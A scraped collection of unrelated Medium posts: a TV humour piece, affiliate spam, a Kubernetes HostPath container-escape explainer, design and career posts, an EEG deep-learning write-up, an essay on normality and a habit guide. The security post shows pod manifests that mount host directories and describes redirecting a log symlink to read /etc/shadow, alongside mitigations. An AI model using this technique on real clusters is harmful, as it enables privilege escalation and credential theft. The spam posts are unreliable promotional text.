I thought every one had “their” side of the bed. Have I been wrong all this time? Photo by Jeremy Banks on Unsplash HBO’s limited series “The Undoing”, starring Nicole Kidman and Hugh Grant and directed by award-winning Danish director Susanne Bier (“The Night Manager”, “Bird Box”) has been the big televisual hit of 2020. The grizzly who-dunnit was must see TV over its six-episode run, with audiences the world over tuning in each week to find out who bludgeoned young mother Elena Alves to death with her own sculpting hammer. I, like many others was riveted, and in the interest of maintaining the enjoyment factor for anyone who hasn’t yet seen it, I will not be giving away the ending in this post. However, I do want to reveal one of the resounding take-home messages that I took from the series. Aside from the fact that a monogamous marriage of happily ever after is an unattainable fantasy, that is. And that Hugh Grant can still make my knickers damp all these years after “Four Weddings and a Funeral”. No, it was the fact that Grace (Kidman) and Jonathan (Grant) Fraser, a couple for 17 years and married for 15 of those years, seemed to have a very flexible approach to the issue of which side of the bed was “their” side. Early on in episode one, we saw Grace on the left side and Jonathan on the right (as is the only correct and proper arrangement in a M/F coupling. Just saying…), the two of them discussing Grace’s first encounter with Elena Alves the day before. In the next episode, with Jonathan apparently out of town for an oncology conference, we see in the mirror’s reflection that Grace about to climb into bed on her husband’s side. Why? Why would anyone do that? Even if you were besotted and in the exciting genesis of your love affair, missing your lover and wanting to inhale the residual scent of their body on the bedsheets, surely any normal person would climb into their own side of the bed, then roll over and bury their face in their beloved’s pillow. To actually sleep on the wrong side of the bed would surely 1) leave your astral body confused and disoriented when it returns to your slumbering form and 2) necessitate you getting out of the wrong side of the bed in the morning. We all know that to get up on the wrong side of the bed is automatically a bad portent for the rest of the day. And when your seemingly perfect husband is cheating on you with a gorgeous younger woman, and is also suspected of murdering said woman, your day is already going to be pretty fucked up. You really don’t want to be tempting fate through your devil-may-care attitude to your sleeping arrangements. In a later episode, we again see evidence of the Fraser’s haphazard approach to nighttime mattress/body orientation when we see Jonathan sleeping on the left side, i.e., his wife’s side of the bed. When Grace later climbs in behind him, thus taking his traditional position on the right hand side, well, frankly is it any wonder everything goes rapidly and spectacularly tits up from there on in? Now, look, don’t get me wrong. I understand that the completely bonkers game of Musical Mattress that the Doctors Fraser are depicted as playing is all about the director wanting to get the best, most creative and artistic shots. But it has nonetheless continued to play on my mind long after the jaw-dropping final episode (those last 10 minutes? Bloody hell!!) I always sleep on the same side of the bed. Always. Regardless of whether there is anyone else in the bed with me. I get into the bed, I sleep in the bed, and I exit the bed on the left. I once even called time on a relationship, in part because he had claimed “my side” early on when I wasn’t paying close enough attention, and no matter how many subtle and not-so subtle hints I dropped, I couldn’t manage to wrest it back. So I decided it was easier to just pull the plug. (Of course, the fact that he was a dick anyway did help to strengthen my resolve.) I’ve always believed that everyone has “their” side of the bed, and that they stick to it resolutely throughout their lives, just as I have done. But “The Undoing”, with its flexible approach to mattress-geography left me wondering if maybe I’m some kind of outlier. In the interests of maintaining my sense of my own normalcy, though, I am now electing to view the whole “wrong side of the bed” thing as an intentional directorial hint from Susanne Bier as to the Fraser’s dysfunction, and a major pointer towards how fucked up their lives were. And, as a further attempt to reassure myself of my own sanity, I ask you, dear reader: Are you like me, and sleep on the same side of the bed, no matter what? Or are you a freak like those fictional Frasers?

https://medium.com/the-haven/how-the-undoing-undid-more-than-just-my-belief-in-happily-ever-after-e7d1892b6112

['Jupiter Grant']

2020-12-10 21:23:49.886000+00:00

['The Undoing', 'Bed', 'Relationships', 'Humour', 'Television']

GET FREE TRAFFIC

GET FREE TRAFFIC I have NEVER seen commission-generating plans quite like these! I carefully combed through their 100-day plans, looking out for ‘red flags’ like: Having to spend obscene amounts of money… amounts of money… Or needing to ‘know’ certain people… Or using special programs well beyond the reach of the average person But as I watched each interview, I quickly realized that these Super Affiliates had thought of it ALL (because they had been there and personally gone through this same journey before). After reading over a handful of them, they left me TOTALLY CONVINCED… I needed to share this with as many people who are looking to grow their affiliate business. I have NEVER seen commission-generating plans quite like these! I carefully combed through their 100-day plans, looking out for ‘red flags’ like: click here to order now Having to spend obscene amounts of money… amounts of money… Or needing to ‘know’ certain people… Or using special programs well beyond the reach of the average person But as I watched each interview, I quickly realized that these Super Affiliates had thought of it ALL (because they had been there and personally gone through this same journey before). After reading over a handful of them, they left me TOTALLY CONVINCED… I needed to share this with as many people who are looking to grow their affiliate business.

https://medium.com/@usmanadeolu/get-free-traffic-8eef96fa5d52

['Usman Adeolu']

2021-07-06 12:23:06.147000+00:00

['Traffic', 'Advertising']

Kubernetes Container Escape With HostPath Mounts

Mounting the host filesystem into a container as a volume should keep you up at night if you work with Kubernetes. Let me explain why. What is a “volume”? Since containers should be ephemeral and stateless, they need some way to save data outside of the container. In some cases, they will even need persistent data storage that can be accessed even after a container restart. There are many different volume types, such as the awsElasticBlockStore volume type. This external volume type will mount the EBS volume into your container. If your container restarts, the new one will mount the EBS volume to pick back up the data saved from the previous container. But there is also the possibility of using local storage for persistence. This means using the Kubernetes worker node’s host filesystem. Using this local HostPath volume type introduces some interesting security implications. The Kubernetes documentation even calls out this specific warning: Warning: HostPath volumes present many security risks, and it is a best practice to avoid the use of HostPaths when possible. When a HostPath volume must be used, it should be scoped to only the required file or directory, and mounted as ReadOnly. If you are interested in gaining a deep understanding of how containers mounts work under the hood, I’d recommending looking into the linux namespace primitives, specifically the mount namespace. But that is beyond necessary for understanding the rest of this blog post. How to create a volume? A volume can be declared in a pod’s Kubernetes yaml manifest. You can specify .spec.volumes along with .spec.containers[*].volumeMounts to specify what kind of volume it is, and where to mount it inside of the container. Here’s an example of a pod that creates a container that mounts the host’s root directory to /host inside of the container. apiVersion: v1 kind: Pod metadata: name: test-pd spec: containers: - image: alpine name: test-container command: ["tail"] args: ["-f", "/dev/null"] volumeMounts: - mountPath: /host name: test-volume volumes: - name: test-volume hostPath: # directory location on host path: / # this field is optional type: Directory If we run this pod and execute a shell into it, we can see that we have access to the host’s root filesystem. So… anyone who has the capability to create a pod with unrestricted access to HostPath volumes can easily escalate their privileges. How can this be exploited… for real? Hopefully no-one is actually mounting the root filesystem directly into their containers. A more realistic example would be a HostPath volume scoped to a specific directory. For example lets modify the original example: apiVersion: v1 kind: Pod metadata: name: test-pd spec: containers: - image: alpine name: test-container command: ["tail"] args: ["-f", "/dev/null"] volumeMounts: - mountPath: /var/log/host name: test-volume volumes: - name: test-volume hostPath: # directory location on host path: /var/log # this field is optional type: Directory This example is still flawed from a security perspective, but I’ve seen it legitimately used in professional spaces. For whatever reason, this pod has access to the host’s /var/log directory. This is particularly interesting once we consider how Kubernetes logging actually works. When running kubectl logs test-pd the kubelet returns the contents of /var/log/pods/<path_to_0.log>. But from the host’s perspective, the pod’s 0.log file is a symlink. And since we mounted /var/log and have write access, we can overwrite the log file symlink to any arbitrary file. Let’s replace this test-pd’s log file symlink with a symlink to /etc/shadow. And there we have it, we can read the contents of /etc/shadow. The full contents fail to print since they are not in the expected log format, but this can be worked around using kubectl logs <pod> --tail=<line number> to view the full contents. Mitigations There are a few ways to protect against potential misconfigurations relating to HostPath volumes. Scope the HostPath volume to a specific directory. Be sure to specify a spec.volumes.hostpath.path directory that is essential. Otherwise avoid using HostPaths altogether. 2. Ensure the HostPath volume is read only. When mounting the volume you can set it to read only mode. volumeMounts: - mountPath: /var/log/host name: test-volume readOnly: true *** Bonus Points: Use a container optimized OS like Google’s Container Optimized OS or AWS’s Bottlerocket, which include read only root filesystems by default. 3. Restrict access to HostPath volumes through an admission controller. With PodSecurityPolicies now deprecated, and no definitive standard in place at the moment, I recommend using Open Policy Agent Gatekeeper or Kyverno to define policies around HostPath volumes. Here’s a Kyverno ClusterPolicy that denies HostPath’s altogether. Additional Resources Theres a great Aquasec blog post that dive’s deeper into exploiting the logging HostPath misconfiguration. More HostPath exploitations are described well by BishopFox.

https://infosecwriteups.com/kubernetes-container-escape-with-hostpath-mounts-d1b86bd2fa3

['Joshua Stuts']

2021-08-23 09:12:48.638000+00:00

['Cloud Computing', 'Container Security', 'Information Security', 'Cybersecurity', 'Kubernetes']

Four Popular Interior Design Trends to Look Out For

Archways are common of traditional architecture, which is currently experiencing a revival thanks to the addition of curved doorways, rounded windows, and arched mirrors to their interior design projects by architects and designers. Interiors take center stage as more individuals spend more time at home. As they look for the best options for their interior design projects, architects and designers are increasingly aware of their duty to improve their clients’ well-being and help them avoid diseases. Four Popular Interior Design Trends to Look Out For Visit Our Website: Here are four popular interior design trends: Natural Fiber Furniture For interior design, the use of natural fibers like rattan and wicker in furniture is becoming widely known. In chairs, carpets, and lighting, this standard material is used, blended, and matched with a more modern design. For interior design, the use of natural fibers like rattan and wicker in furniture is becoming widely known. In chairs, carpets, and lighting, this standard material is used, blended, and matched with a more modern design. Arches Archways are common of traditional architecture, which is currently experiencing a revival thanks to the addition of curved doorways, rounded windows, and arched mirrors to their interior design projects by architects and designers. Aligned with the trends of “Chubby” and Biophilic Design, arches appear not only through real archways but also through decorative patterns painted on walls as a new way to add curves and more organic shapes inside our homes. Four Popular Interior Design Trends to Look Out For “Chubby” Design Chairs, coffee tables, couches, and even lamps show their best-detailed curves by giving our spaces a young, fun, and modern style, taking us back to childhood. This new trend is guided by furniture with rounded edges and tubular shapes, from the concept of “neoteny,” the exaggeration of childlike characteristics, also known as neotenic design. A practical idea to characterize the playfulness that these pieces can add to any space. Chairs, coffee tables, couches, and even lamps show their best-detailed curves by giving our spaces a young, fun, and modern style, taking us back to childhood. This new trend is guided by furniture with rounded edges and tubular shapes, from the concept of “neoteny,” the exaggeration of childlike characteristics, also known as neotenic design. A practical idea to characterize the playfulness that these pieces can add to any space. Stairs Integrated with Furniture Several interior design projects have added storage spaces or even the integration of the steps into a larger furniture design, such as a working area or shelving, as a creative way of utilizing the space left under stairs Check Out This:

https://medium.com/@juniperlisa123/four-popular-interior-design-trends-to-look-out-for-d8f7c5974111

['Juniper Lisa']

2021-12-22 08:36:50.633000+00:00

['Fiber', 'Interior Design', 'Furniture', 'Trends']

MAKE MONEY ONLINE/DoodleMaker

MAKE MONEY ONLINE/DoodleMaker Doodle Maker is the brand new doodle video creation software that allows you to leverage the power of an Intuitive AI for eye-catching and professional looking doodle videos in 30 languages without any hassle.Specifically, with DoodleMaker you can convert any video or any piece of content you like into 3 different formats including Blackboard, Whiteboard, Glassboard Switcher with just a few clicks of mouse. PRICE:$67.00 AFFILIATE LINK:https://jvz8.com/c/1101129/357045

https://medium.com/@davidabrahamgopal/make-money-online-doodlemaker-993be1d3b05b

['Ramachandran Gopal']

2020-12-22 19:56:45.184000+00:00

['Digital Marketing', 'Money', 'Online Marketing', 'Make Money Online', 'Affiliate Marketing']

Defining the FT Design Career Framework

We believe it’s important that everyone at the FT feels valued and confident about the next steps in their careers. This is why we introduced levels with clear descriptions, definitions and expectations. The framework that we delivered is a tool for everyone on the team to have a structured conversation with their managers and align on expectations on how to get to the next level in a transparent way. Everyone is a different individual and we made sure we kept that well in mind when we worked on defining the different roles. We don’t expect people to “tick boxes”, we want them to feel empowered, and understand the opportunities available to them to improve their skills and make an impact. Having a framework in place is also a tool for managers to understand how they can support and create opportunities for the different people in their teams, according to their goals. When reaching Senior Product Designer II, people have multiple progression paths; either as an individual contributor, or as a manager. People shouldn’t feel obliged to become a manager in order to have a larger impact, and progress in their career, this is why we have the dual track. Designers can follow the expert track and have a larger strategic impact on a set of products part of our “pillars”, and set the vision for the future of the FT. On the other side, managers take care of their teams’ health, make sure that the team members feel empowered and have the right opportunities. They also make sure that the right structure is in place, and continue to contribute to the vision of the team. Horizontal moves are possible. We decided to split the track at the Senior Product Designer II level, because this is the crucial moment in your career where your focus starts to move towards making a bigger impact at the organisational level. We wanted to give the opportunity to embark on a journey without fully committing to it, so designers at that level can decide which skill sets they want to become experts in: having a bigger impact leading teams, or leading projects. Compensation One of the principles of the FT is fair pay, to make sure that everyone at the same level receives adequate pay, within the same band. The new career framework supports this even better than before by introducing an increased granularity that better reflects the level of the individual. Pay ranges are known by designers per each level, and having more levels now available guarantees that designers are paid fairly according to the specific level they are at. We believe that being transparent on pay bands increases the confidence of everyone, and tackles pay inequality by making sure that there are no gaps in salaries based on background, gender, or any other characteristics apart from skills and performance. This is why we are also planning to make all pay bands transparent internally soon. We believe that being transparent on pay also plays an important role in hiring, as new designers can be assured that there will be no gaps in salaries compared to other people on the team at the same level. We want to hire the best talent and being transparent also challenges us to frequently review our pay bands to make sure we stay competitive on the market. What we expect going forward Start the conversation early Having visibility on the career framework means also that people at a more junior level understand how their career can evolve, and allows them to have career conversations early. This is particularly important because it allows managers to help them find the right opportunities to improve the skills they want to focus on. Nurturing individuals and supporting their personal development is very important for us, and having the right structure in place enables everyone to pursue their ideal career path and feel inspired. Increasing retention We believe that all this will enable designers to constantly find new challenges, reflect more on themselves, and ultimately learn more. We know that working in a nurturing environment increases retention drastically, and we want our designers to feel like they are constantly growing and there are always new opportunities for them to explore. Flexibility is also key. We don’t expect designers early in their career to know already which way they want to go. Everyone is different, and having the possibility to explore more about what a design career can offer can be very exciting. Impact Being clear on what we expect from people at different levels means also that team members are clear about the impact that they can have on the organisation. This leads to having more honest conversations with their managers in order to understand how they can give meaningful contribution to the FT and increase the level of impact that they can have. Becoming a more design mature organisation Last but not the least, having this structure in place contributes to becoming a more design mature organisation. Making levels official, and describing the impact that our designers have contribute ultimately to being more aware of what design can offer to the FT, and to becoming more user-centered.

https://medium.com/ft-product-technology/defining-the-ft-design-career-framework-fb6ac90aedb8

['Leonardo Mattei']

2021-09-16 08:50:36.925000+00:00

['Career Paths', 'UX', 'Career Development', 'Product Design']

Deep Learning for EEGs and BCI : (How I Managed to get 94% score model.)

Severe Class Imbalance is Hell Part of what made me spend a lot of time on treating this as a multi-class classification problem is that I thought I could fix this by either under or over-sampling. This introduced me to two Python libraries, imblearn and smote-variants. Let’s say that you have 1.5 million data points and about 90% of them are the ‘0’ category, which is [0,0,0,0,0] in original vector form. Well if you undersample it to about 50,000, then oversample the others, you could get something even. There are a few problems with this: In theory, if the data set is balanced, the learner could learn each one almost equally, which would mean it would do well on any test data. However, in reality, there are certain categories that happen more than others. If you took value counts and just learned the top 3 well, you’d probably do decently in the test data (assuming test data isn’t wacky). How much? Category 0 has a1 million data points, and the smallest category might only have 2000 points. So you have to oversample using the SMOTE or other such methods. Now imblearn has classic, borderline and KNN type SMOTEs, and smote-variants has more SMOTE than you can shake a stick at. I thought I’d try one or two that I’d read about in papers, but the thing is, it’s a losing battle. Computational cost — only random undersampling is fast. Other methods took too long for my taste. Random undersampling can discard useful data. You have no idea if it’s outlier junk or decision boundary defining data. I tried using outlier detection to trim off the outliers before doing some undersampling…but again, there’s too much flying in the dark for me. Nevertheless, I persisted I wanted to use Keras. Now, using imblearn means we have this thing called BalancedBatchGenerator — just for keras — which is a data generator like the kind you find in keras for time series or images, most notably. Rather than augmenting data, it mostly just creates balanced training mini-batches. Now if you’ve already done some a priori balancing, like I did before, you might not think there is a need for this — but that depends on how balanced you want things. If you decided YES, I will use BalancedBatchGenerator (hereafter BBG), you will have to decide how to achieve balance in the mini-batch — you can either use the over or under-sampling (or combo) methods in imblearn — but remember each one of these comes with a cost. If you do CondensedNearestNeighbour under sampler in auto-mode, it will have to re-sample EVERY class in the mini-batch until you get your perfect balance. tl;dr: NOT WORTH IT, takes forever. Too much computational cost just to get one friggin training mini-batch. I thought: this way I don’t have to undersample ahead of time — locking in my data loss, a priori. If you randomly undersample you will probably, on average, get mini-batches that have ‘good’ data that will help define a clear decision function. Still, in the end, I never got good results when I submitted my predictions to the Kaggle site. I never got about 65% on the AUC. The high score was 98%. Here’s what worked, and fairly easily too: Considering this a time series classification problem. First, preprocess using MNE library to bandpass from .1 to 40Hz. I thought using the mu bands, eg 8–12Hz and 16–30 Hz, might be enough. You could concatenate them or even just combine using 8–30Hz bandpass. But I never got great results. I also thought that just using C3, C4, Cz electrodes would be enough, since they have a lot to do with left/right hand motor functions. Still, not great results. So I stuck with 0.1–40Hz, then normalized. Here’s some code: X_gen = mne.filter.filter_data(data = Xt, sfreq=500, l_freq=0.1, h_freq=40, picks = None) somescaler = StandardScaler() X = somescaler.fit_transform(X) Then: segment the signal into ‘epochs’ (in the signal processing sense), which means short segments, maybe 0.5 seconds, maybe 3 seconds. I used keras’ TimeSeriesGenerator — which is awesome — to sample the last 1000 points, but at a rate of 10. This means I am using 100 data points to cover the last two seconds of signal, or put another way, I’m working at 50hz. I figured that two seconds before or after a signal is enough time to see your brain waves doing the ‘desynchronization’ thing or at least just ‘gearing up’ to do whatever motion you’re told to do. Furthermore, I used a stride of 125 seconds or so — which means I made overlapping 2 seconds epochs every 0.25 seconds. Here’s the code: trainX, valX, trainY, valY = train_test_split(X, y, test_size=0.30, random_state=3249, shuffle = False) print(trainX.shape, trainY.shape, valX.shape, valY.shape) train_gen = TimeseriesGenerator(trainX, trainY, length = 1000, stride = 50, sampling_rate = 10, shuffle = True, batch_size = 1000) val_gen = TimeseriesGenerator(valX, valY, length = 1000, stride = 50, sampling_rate = 10, shuffle = True, batch_size = 1000) The Shootout: LSTMs vs Temporal Convolutional Networks vs EEGNet. This is the LSTM model: i = Input(shape=(100,32)) out = Bidirectional(LSTM(8,return_sequences = False, dropout = 0.2))(i) #out = GlobalAveragePooling1D()(out) out = Dense(6, kernel_initializer = 'he_uniform')(out) model = Model(inputs=[i],outputs=[out]) This is my generic temporal conv1D type architecture: from keras.layers import AveragePooling1D model_m = Sequential() model_m.add(Dropout(0.50, input_shape=(100,32))) model_m.add(Conv1D(128, 4, kernel_constraint = max_norm(1.),padding = 'same')) model_m.add(Conv1D(128, 4, kernel_constraint = max_norm(1.),padding = 'same',)) model_m.add(BatchNormalization(axis = -1)) model_m.add(Activation("relu")) model_m.add(MaxPooling1D(2)) model_m.add(Dropout(0.50)) model_m.add(Conv1D(128, 10, kernel_constraint = max_norm(1.),padding = 'same')) model_m.add(Conv1D(128, 10, kernel_constraint = max_norm(1.),padding = 'same')) model_m.add(BatchNormalization(axis=-1)) model_m.add(Activation("relu")) model_m.add(MaxPooling1D(10)) model_m.add(Flatten()) model_m.add(Dropout(0.50)) model_m.add(Dense(64, kernel_regularizer = l2(1e-5), activation = 'relu', kernel_constraint = max_norm(1.))) model_m.add(Dense(6, kernel_regularizer = l2(1e-5),activation = 'sigmoid',kernel_constraint = max_norm(1.))) model_m.summary() model_m.compile(loss = "binary_crossentropy", optimizer = adam(lr = 0.001), metrics = ["acc"]) Here is the temporal convolutional network from the awesome implementation of Phillipe Remy: i = Input((100,32)) o = TCN(nb_filters = 64, kernel_size = 8, nb_stacks = 1, dropout_rate = 0.4, dilations = [2,4,6,8])(i) #o = Dense(64, activation = 'elu', kernel_initializer = 'he_normal')(o) o = Dense(6, activation = 'sigmoid', kernel_initializer = 'he_normal')(o) model1 = Model(inputs = [i], outputs = [o]) And here is my implementation of EEGNet. This is based on the 2018 paper by Lawhern et. al. Now, EEGNet is touted as a general EEG/BCI type classification architecture. It’s meant to be fairly simple and shallow, but achieve good results. Which it does. The original implementation in keras, by the authors of the paper, uses channels_first, but I could never quite get used to it, so I changed it to channels_last. Some other details, like dropout rate and pooling size, might also be different from their ‘standard’ model: F1 = 16 from keras.layers import SpatialDropout2D D = 4 ; F2 = D * F1 nb_classes = 6; norm_rate = 1. kernLength = 10 Chans = 32 Samples = 100 input1 = Input((100,32)) block1 = Lambda(lambda x: K.expand_dims(x), output_shape = (100,32,1))(input1) #block1 = ExpandDimension(axis = -1)(input1) block1 = Conv2D(F1, (1, kernLength), padding = 'same', input_shape = (1, Chans, Samples), use_bias = False)(block1) block1 = BatchNormalization(axis = -1)(block1) block1 = DepthwiseConv2D((1,Chans), use_bias = False, depth_multiplier = 4, depthwise_constraint = max_norm(1.))(block1) block1 = BatchNormalization(axis = -1)(block1) block1 = Activation('elu')(block1) block1 = AveragePooling2D((4,1))(block1) block1 = SpatialDropout2D(0.50)(block1) block2 = SeparableConv2D(F2, (1, 16), use_bias = False, padding = 'same')(block1) block2 = BatchNormalization(axis = -1)(block2) block2 = Activation('elu')(block2) block2 = AveragePooling2D((5,1))(block2) blok2 = SpatialDropout2D(0.50)(block2) block2 = Flatten()(block2) out = Dense(6, activation = 'sigmoid')(block2) ################################################################## model2 = Model(inputs = [input1], outputs = [out]) model2.summary() Caveats before the final conclusion The training was per-subject — I never got around to training an overall model. Also, I didn’t train them equal number of epochs — sometimes 40, sometimes 60. I used cosine-annealing sometimes, didn’t other times. Mostly it was Adam at .001 learning rate, with gradient clipping set at .10. Some of my final scores. Conclusion Overall, the best score was the conv_bn one — which corresponds to my generic TCN model with a few layers of convolutions and batch normalization. EEGnet and the longer temporal convolutional network, with various dilations built in, did similarly well. The LSTM based architecture can do over 90%, which isn’t shabby — however, it was a shallow LSTM. I didn’t have the patience to train some deep stacked LSTM type network. The second place winner of the actual competition used recurrent convolutional combinations, the exact form of which I am unsure, so there is something to explore there. This whole thing took me damn well near 4 months and I wish it hadn’t, but I did learn some good things from all the pitfalls. I’m especially psyched by learning about the SAX_VSM, WEASEL, and other such methods of time series classification, all of which involve discretization of time series data into ‘words’ which are then classified using tf-idf, bag of words type methods. Another thing worth looking into is Learning Shapelets method of time series classification. Stay tuned!

https://medium.com/@peijin/deep-learning-for-eegs-nad-bci-some-notes-and-some-warnings-28cfc3015a98

['Peijin Chen']

2019-04-01 16:43:42.996000+00:00

['Machine Learning', 'Deep Learning', 'Eeg', 'Time Series Analysis', 'Bci']

How to be Normal

How to be Normal Considerations about the quest of a normal life I once knew a woman whose highest aspiration was to be a normal person — At least, so she claimed. Whenever someone uses the word “normal” in a conversation, I wonder what exactly they are trying to say. For a long time, I believed that others had a life manual that, for some reason, had not been delivered to me. One of the more substantial chapters of this manual should cover what is normal and what’s not. — It means to be like everyone else. She said. Here’s another generic concept: everyone else. It includes the Pope, the pusher in the neighborhood park, the victims of violence, the murderers, Donald Trump, Joe Biden, Kim Jong-un, Bill Gates, Gioacchino Difazio, the children forced to work, the stranger whose gaze we met in the subway, the beggar on the street corner, the astronaut in the space station, to list a few. If being normal means having something in common with everyone else, it simply means belonging to the humankind. The aspiring “normal person” I am talking about was a colleague of mine, until a few years ago. She did not make an in-depth analysis of her thinking on this theme. Her idea of normality consisted — as far as I knew — in being a passionate spectator of X-Factor, in buying clothing and accessories online with a reasonable frequency, in sharing the lunch break always with the same people, and in some trips to the toilets. All in all, hers might seem a naive and harmless ambition… Up close, nobody is normal Franco Basaglia was a famous Italian psychiatrist who revolutionized the approach of psychiatric care. One sentence sums up his thought: seen up close, nobody is normal. No one can claim to have perfect mental health. Therefore, it made no sense to intern the mentally ill in asylums. Instead, it’s necessary to reintegrate them into society through a path that puts the person’s dignity first. Thanks to him, asylums in Italy were closed, and the mentally ill were no longer considered dangerous and irrecoverable beings to be imprisoned and punished. Seen up close, nobody is normal. This was also true of my dear colleague, who, observed a little more closely, showed aspects that appeared not at all normal or innocuous. She demonstrated an exceptional ability to gaslight people who had the misfortune of being between her and her goals. Is this normal behavior? Perhaps, for an a-hole. Many people lost their jobs because of her. Was she aware of it? Of course, she was, but that was normal for her. There was this work to be done, and she was the one who had to do it. So she was ordered. Otherwise, she would have been the one to lose her job. The trouble with Eichmann was precisely that so many were like him, and that the many were neither perverted nor sadistic, that they were, and still are, terribly and terrifyingly normal. From the viewpoint of our legal institutions and of our moral standards of judgment, this normality was much more terrifying than all the atrocities put together. ― Hannah Arendt, Eichmann in Jerusalem: A Report on the Banality of Evil Normality can be dangerous Attempting an accurate definition of normality would take me far beyond the scope of this article. By common sense, with a little help from statistics, we can consider a normal behavior one that is carried out by the majority of people in a society. This is also known as “conformism.” Conformism is extremely helpful to certain categories of people: Advertisers design their campaigns based on common beliefs and behaviors, thus being sure to hit the greatest possible number of people belonging to their target. Often advertisers contribute to broadening the concept of normality, to increase the chances of selling a product. Politicians (ok, some politicians) build their consensus on the concept of normality. Some politicians (the worst) point the finger at those they consider “different” to strengthen their voters' sense of belonging to a community. Dictators and tyrants: They decide what is normal and what is not. From Hitler down, unfortunately, there is no lack of examples. Big Pharma: some diseases are more “normal” than others. Knowing that a condition is widespread makes it very convenient to produce (and sell) a cure. Conversely, rare diseases are those that generally have fewer dedicated drugs. TV show producers need the largest possible audience to sell advertising, product placements, and sponsorships at a high price. Which audience is larger than the ocean of ordinary people? Employers: being normal is expensive. Normal people need a job to lead a normal life, paying a normal mortgage for a normal house, getting into debt for a normal car, and creating a normal future for their children. And in the meantime, maybe, help the employer get rid of unwanted (abnormal, for any reason) employees. You can complete this list. As you can see, there are many vultures up there in the sky circling the heads of the so-called normal people. Without normal people, these creatures would die of starvation. The point is: uncritically following what is considered normal put yourself in a weak position. Wanting a normal life means accepting a definition of normality imposed from the outside. You don’t control it, you adhere. Everybody does it, so I do it too. You delegate your thought to an abstract entity, which does not exist: everybody. Unfortunately, in doing so, you give up a part of yourself. A significant part. Perhaps the most important. Perhaps so important that we could say: you give up on yourself. Giving up on yourself, what happiness do you think you can aspire to? Perhaps the same kind of happiness that can be found in drugs or alcohol. But in this case, no one will try to save you, because you are sinking into normal happiness. Perhaps it’s now clearer (even to myself) why I’m terrified by people who call themselves “normal.” Being normal is dangerous. Normality and awareness Yet a part of me believes that there is nothing wrong with living according to beliefs and behaviors shared by others. Being part of a group makes us feel at home and gives us the necessary serenity to progress in other fields, such as art or music, or raise a family. There is nothing wrong. Provided, however, that the choice is made with awareness. Here, this is the magic word: awareness. One of the most precious gifts I have had from life was precisely this: the realization (at some point ) that most people who believe they are normal don’t really know what they are talking about. And this is also true for my monstrously normal colleague. Whom I don't hate. Indeed I have to thank her: the clash with its normality allowed me to embark on a new path, much richer in humanity and gratifications. I know I’m not saying anything new or particularly original. But I feel that if I hadn’t written these words, just today, I would have slipped into a dangerous apathy, which is the cradle of the worst normality. I suspect I’m not the only one hoping to find a life-time user manual ready to use, but I thank the god of mail carriers for never having received it, as that forced me to write my own. Write the manual Every day I write a page of the user manual of my life. Sometimes I have to rewrite it the next day. Other times it works flawlessly for a long time. I don’t know if it will be useful to anyone besides me. Maybe it could be an inspiration, as other people’s ideas are to me. Discovering that the manual does not exist can be scary. This is why some take refuge in the hazy concept of normality that I have written about so far. But if you start writing your manual with an act of true courage, I assure you that you will discover wonderful things about yourself and the world. I hope you start this journey soon.

https://medium.com/gmeditations/how-to-be-normal-669b239fff71

['Gioacchino Difazio']

2020-11-12 08:35:23.972000+00:00

['Normal', 'Personal Development', 'Life Lessons', 'Personal Story', 'Normality']

A Guide to Hack Habit Building [Template Inside]

Why I Failed At Building New Habits 1. Doing Too Many Things At The Same Time There is a very small reserve of will power that humans have to build new habits, so whenever I’ve tried to workout, meditate, read and cook all at the same time I’ve never really gone past the first week successfully. 2. No Accountability We are always able to consistently work on our KPI’s at work, day in and day out but not our personal goals. Why? Accountability. In the case of personal goals, the only person we’re letting down is ourselves, which we can generally live with, in the short term. 3. Aggressive/No Targets Too often I’ve tried to pick up new habits with very aggressive targets. Example: I’m going to write for 30 mins every day. Obviously, that doesn’t work. On the flip side, going to the gym two consecutive days can sometimes leave me feeling that I’ve been working out consistently even without going for the rest of the week. So what changed now? My Framework For Habit Building Note: This worked for me. Don’t consume on face value. Feel free to adopt, iterate and make it your own. Here is what I did. 1. I Wanted To Do Too Many Things. Introducing, Habit Categories! I know I mentioned that you should not do too many things at the same time, however, I can’t help it. I am attracted to too many things at the same time. I want to learn to play the guitar, workout, meditate, do yoga, write articles and so on. So I bucketed all these habits into 5 categories: Mental Health, Physical Health, Learn — Job-Related, Learn — Non-Job Related and Content Creation. Each of these categories had tasks defined under them. Example: Mental Health includes 15 mins of meditation or 15 mins of journaling. Now on a given day, I can pick between either of these habits (whichever I’m in the mood for) to complete my Mental Health tasks for the day. The hypothesis is that in the larger time frame if I did either of them every day I would end up creating a habit around both meditation and journaling. 2. Accountability This one is easy. Once you have a target set up for each of your habit categories (I’ll show you how a little later), all you need to do is give a friend some money, which should be enough in value to keep you motivated. The rules are simple: You don’t hit your habit goals, you don’t get the money back. 3. Finally, The Tracker & Targets (Template Links At The End) This is probably a byproduct of my profession but, as a product manager, I’m wired to look at my data on a sheet rather than an app. I created a simple Google Form which I would fill whenever I accomplished a task in any of the habit categories I had created. This is what the form looks like. Of course, this data was being populated on a Google Sheet in the background and I used it to make a monthly target for myself. To begin with, I assigned a conservative weekly target on each category and made a projection for the month based on the current numbers to understand if I was on track to achieve my targets or not. This helped me understand which category of habit building I had been neglecting and needed to work on. In the end Overall, I’ve been able to do multiple things in the same month without stressing myself on having to do the same thing, again and again, every day. Additionally, over time I’ve been able to comfortably move forward with all the habits that I wanted to build. Below are the links to Google Form and Sheet that you can use to duplicate and create your own version. Links Sample Google Form: Click Here Tracking Sheet: Click Here How are you hacking habit-building? Would love to hear. Twitter: virenbaid

https://medium.com/@virenbaid/a-guide-to-hack-habit-building-template-inside-1ea0ffc5ecf8

['Viren Baid']

2020-02-17 07:22:29.430000+00:00

['Life', 'Habit Building', 'Life Hacking', 'Motivation', 'Productivity']

Haitian-American Michele Delisfort is Union New Jersey’s First Black Female Mayor

